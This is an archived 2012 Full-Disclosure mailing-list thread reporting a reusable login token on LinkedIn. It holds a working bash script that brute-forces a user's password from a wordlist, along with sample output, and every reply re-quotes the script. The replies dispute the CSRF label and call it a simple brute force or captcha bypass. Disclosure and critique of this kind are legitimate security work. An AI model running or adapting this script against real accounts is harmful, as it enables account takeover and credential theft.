Login | Register For Free | Help
Search for: (Advanced)

Mailing List Archive: Full Disclosure: Full-Disclosure

LinkedIn CSRF: Login Brute Force

 

 

Full Disclosure full-disclosure RSS feed   Index | Next | Previous | View Threaded


fernando at zerial

May 17, 2012, 9:51 AM

Post #1 of 4 (498 views)
Permalink
LinkedIn CSRF: Login Brute Force

LinkedIn uses a Token into the login form which can be used many times
for different usernames. You can do it using the same IP or differents
IP, the token will not be verified.



I. Step by step
===============
1). Login into your LinkedIn account and capture the "sourceAlias" and
"csrfToken" variable (example:
sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496)

2). Use the Token to login into another account:
https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody [at] somedomain&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless

session_key is the username and session_password is the password.

3). The password (session_password) is not correct If the requested URL
returns "The email address or password you provided does not match our
records", else the password if correct.



II. PoC
=======

1). The Wordlist (filename: w)
[zerial [at] belceb ~]$ cat w
asdfgh
zxcvbnm
1234567
0987654
12345698
456_4567
123456qwert
qwsdcv
12wedfgh
123456qwerty
12345qwei
112233
[zerial [at] belceb ~]$


2). Executing the script:
[zerial [at] belceb ~]$ sh linkedin.sh panic [at] zerial w
Password found: qwsdcv
[zerial [at] belceb ~]$

This is the correct password for this test user.




III. Script
===========

#!/bin/bash
#
# usage: ./linkedin.sh username [at] domain wordlist
#

TOKEN="ajax%3A6265303044444817496"
sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"

if [ ! -f $2 ];
then
echo "file $2 does not exists"
exit
fi

_USR=$1
for _PWD in $(cat $2);
do
if [ $(echo -n $_PWD|wc -c) -lt 6 ];
then
echo "Ignoring $_PWD (must be grather than 6 chars)"; continue
fi
wget -o /dev/null -O -
"https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless"|grep
'The email address or password you provided does not match our
records\|captcha' >>/dev/null
if [ $? -eq 1 ];
then
echo "Password found: $_PWD"; exit;
fi
done

echo "Password NOT found. Try later."
#EOF





More info (in spanish):
http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/




cheers,
--
Fernando A. Lagos Berardi
Seguridad Informatica
GNU/Linux User #382319
Blog: http://blog.zerial.org
Jabber: zerial [at] jabberes

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


julius.kivimaki at gmail

May 17, 2012, 10:50 AM

Post #2 of 4 (481 views)
Permalink
Re: LinkedIn CSRF: Login Brute Force [In reply to]

Where's the csrf? All I see here is an useless bruteforce attack.

2012/5/17 Fernando A. Lagos B. <fernando [at] zerial>

> LinkedIn uses a Token into the login form which can be used many times
> for different usernames. You can do it using the same IP or differents
> IP, the token will not be verified.
>
>
>
> I. Step by step
> ===============
> 1). Login into your LinkedIn account and capture the "sourceAlias" and
> "csrfToken" variable (example:
>
> sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496)
>
> 2). Use the Token to login into another account:
>
> https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody [at] somedomain&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless
>
> session_key is the username and session_password is the password.
>
> 3). The password (session_password) is not correct If the requested URL
> returns "The email address or password you provided does not match our
> records", else the password if correct.
>
>
>
> II. PoC
> =======
>
> 1). The Wordlist (filename: w)
> [zerial [at] belceb ~]$ cat w
> asdfgh
> zxcvbnm
> 1234567
> 0987654
> 12345698
> 456_4567
> 123456qwert
> qwsdcv
> 12wedfgh
> 123456qwerty
> 12345qwei
> 112233
> [zerial [at] belceb ~]$
>
>
> 2). Executing the script:
> [zerial [at] belceb ~]$ sh linkedin.sh panic [at] zerial w
> Password found: qwsdcv
> [zerial [at] belceb ~]$
>
> This is the correct password for this test user.
>
>
>
>
> III. Script
> ===========
>
> #!/bin/bash
> #
> # usage: ./linkedin.sh username [at] domain wordlist
> #
>
> TOKEN="ajax%3A6265303044444817496"
> sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"
>
> if [ ! -f $2 ];
> then
> echo "file $2 does not exists"
> exit
> fi
>
> _USR=$1
> for _PWD in $(cat $2);
> do
> if [ $(echo -n $_PWD|wc -c) -lt 6 ];
> then
> echo "Ignoring $_PWD (must be grather than 6 chars)";
> continue
> fi
> wget -o /dev/null -O -
> "
> https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless
> "|grep
> 'The email address or password you provided does not match our
> records\|captcha' >>/dev/null
> if [ $? -eq 1 ];
> then
> echo "Password found: $_PWD"; exit;
> fi
> done
>
> echo "Password NOT found. Try later."
> #EOF
>
>
>
>
>
> More info (in spanish):
>
> http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/
>
>
>
>
> cheers,
> --
> Fernando A. Lagos Berardi
> Seguridad Informatica
> GNU/Linux User #382319
> Blog: http://blog.zerial.org
> Jabber: zerial [at] jabberes
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>


alexander.georgiev at daloo

May 18, 2012, 3:22 AM

Post #3 of 4 (473 views)
Permalink
Re: LinkedIn CSRF: Login Brute Force [In reply to]

I agree with you, that this is nothing more than doing it via the login
form, but it is not so useless at all. It can be used by an attacker if
he has a bunch of email addresses and want to try "the common"
passwords, since the attack can be implemented very easy. I would expect
LinkedIn to should stop an IP after X wrong logins (no mather if via
this method or normal login) or use some kind of captcha.


Am 17.05.2012 19:50, schrieb Julius Kivimäki:
> Where's the csrf? All I see here is an useless bruteforce attack.
>
> 2012/5/17 Fernando A. Lagos B. <fernando [at] zerial
> <mailto:fernando [at] zerial>>
>
> LinkedIn uses a Token into the login form which can be used many times
> for different usernames. You can do it using the same IP or differents
> IP, the token will not be verified.
>
>
>
> I. Step by step
> ===============
> 1). Login into your LinkedIn account and capture the "sourceAlias" and
> "csrfToken" variable (example:
> sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496)
>
> 2). Use the Token to login into another account:
> https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody [at] somedomain&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless
> <https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody [at] somedomain&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless>
>
> session_key is the username and session_password is the password.
>
> 3). The password (session_password) is not correct If the
> requested URL
> returns "The email address or password you provided does not match our
> records", else the password if correct.
>
>
>
> II. PoC
> =======
>
> 1). The Wordlist (filename: w)
> [zerial [at] belceb ~]$ cat w
> asdfgh
> zxcvbnm
> 1234567
> 0987654
> 12345698
> 456_4567
> 123456qwert
> qwsdcv
> 12wedfgh
> 123456qwerty
> 12345qwei
> 112233
> [zerial [at] belceb ~]$
>
>
> 2). Executing the script:
> [zerial [at] belceb ~]$ sh linkedin.sh panic [at] zerial
> <mailto:panic [at] zerial> w
> Password found: qwsdcv
> [zerial [at] belceb ~]$
>
> This is the correct password for this test user.
>
>
>
>
> III. Script
> ===========
>
> #!/bin/bash
> #
> # usage: ./linkedin.sh username [at] domain
> <mailto:username [at] domain> wordlist
> #
>
> TOKEN="ajax%3A6265303044444817496"
> sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"
>
> if [ ! -f $2 ];
> then
> echo "file $2 does not exists"
> exit
> fi
>
> _USR=$1
> for _PWD in $(cat $2);
> do
> if [ $(echo -n $_PWD|wc -c) -lt 6 ];
> then
> echo "Ignoring $_PWD (must be grather than 6
> chars)"; continue
> fi
> wget -o /dev/null -O -
> "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless
> <https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless>"|grep
> 'The email address or password you provided does not match our
> records\|captcha' >>/dev/null
> if [ $? -eq 1 ];
> then
> echo "Password found: $_PWD"; exit;
> fi
> done
>
> echo "Password NOT found. Try later."
> #EOF
>
>
>
>
>
> More info (in spanish):
> http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/
>
>
>
>
> cheers,
> --
> Fernando A. Lagos Berardi
> Seguridad Informatica
> GNU/Linux User #382319
> Blog: http://blog.zerial.org
> Jabber: zerial [at] jabberes <mailto:zerial [at] jabberes>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


mvilas at gmail

May 18, 2012, 3:28 AM

Post #4 of 4 (487 views)
Permalink
Re: LinkedIn CSRF: Login Brute Force [In reply to]

It's a capcha bypass, not a CSRF as claimed. I'm also not quite sure
if the capcha has really been bypassed at all as the blog post in
spanish says you have to enter it manually from time to time...

"Si linkedin nos pone problemas con el captcha, lo que debemos hacer
es ingresar via web con una cuenta valida, capturar nuevamente el
Token e intentarlo nuevamente con ese token."

This line is quite funny: "Nota: LinkedIn fue notificado hace 2
semanas sobre esta vulnerabilidad, pero no respondieron." (LinkedIn
has been notified two weeks ago, but they never responded). The
comments are pretty clueless too.

On Thu, May 17, 2012 at 7:50 PM, Julius Kivimäki
<julius.kivimaki [at] gmail> wrote:
> Where's the csrf? All I see here is an useless bruteforce attack.
>
> 2012/5/17 Fernando A. Lagos B. <fernando [at] zerial>
>>
>> LinkedIn uses a Token into the login form which can be used many times
>> for different usernames. You can do it using the same IP or differents
>> IP, the token will not be verified.
>>
>>
>>
>> I. Step by step
>> ===============
>> 1). Login into your LinkedIn account and capture the "sourceAlias" and
>> "csrfToken" variable (example:
>>
>> sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496)
>>
>> 2). Use the Token to login into another account:
>>
>> https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody [at] somedomain&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless
>>
>> session_key is the username and session_password is the password.
>>
>> 3). The password (session_password) is not correct If the requested URL
>> returns "The email address or password you provided does not match our
>> records", else the password if correct.
>>
>>
>>
>> II. PoC
>> =======
>>
>> 1). The Wordlist (filename: w)
>> [zerial [at] belceb ~]$ cat w
>> asdfgh
>> zxcvbnm
>> 1234567
>> 0987654
>> 12345698
>> 456_4567
>> 123456qwert
>> qwsdcv
>> 12wedfgh
>> 123456qwerty
>> 12345qwei
>> 112233
>> [zerial [at] belceb ~]$
>>
>>
>> 2). Executing the script:
>> [zerial [at] belceb ~]$ sh linkedin.sh panic [at] zerial w
>> Password found: qwsdcv
>> [zerial [at] belceb ~]$
>>
>> This is the correct password for this test user.
>>
>>
>>
>>
>> III. Script
>> ===========
>>
>> #!/bin/bash
>> #
>> # usage: ./linkedin.sh username [at] domain wordlist
>> #
>>
>> TOKEN="ajax%3A6265303044444817496"
>> sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"
>>
>> if [ ! -f $2 ];
>> then
>>        echo "file $2 does not exists"
>>        exit
>> fi
>>
>> _USR=$1
>> for _PWD in $(cat $2);
>> do
>>        if [ $(echo -n $_PWD|wc -c) -lt 6 ];
>>        then
>>                echo "Ignoring $_PWD (must be grather than 6 chars)";
>> continue
>>        fi
>>        wget -o /dev/null -O -
>>
>> "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless"|grep
>> 'The email address or password you provided does not match our
>> records\|captcha' >>/dev/null
>>        if [ $? -eq 1 ];
>>        then
>>                echo "Password found: $_PWD"; exit;
>>        fi
>> done
>>
>> echo "Password NOT found. Try later."
>> #EOF
>>
>>
>>
>>
>>
>> More info (in spanish):
>>
>> http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/
>>
>>
>>
>>
>> cheers,
>> --
>> Fernando A. Lagos Berardi
>> Seguridad Informatica
>> GNU/Linux User #382319
>> Blog: http://blog.zerial.org
>> Jabber: zerial [at] jabberes
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/



--
“There's a reason we separate military and the police: one fights the
enemy of the state, the other serves and protects the people. When the
military becomes both, then the enemies of the state tend to become
the people.”

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Full Disclosure full-disclosure RSS feed   Index | Next | Previous | View Threaded
 
 


Interested in having your list archived? Contact Gossamer Threads
 
  Web Applications & Managed Hosting Powered by Gossamer Threads Inc.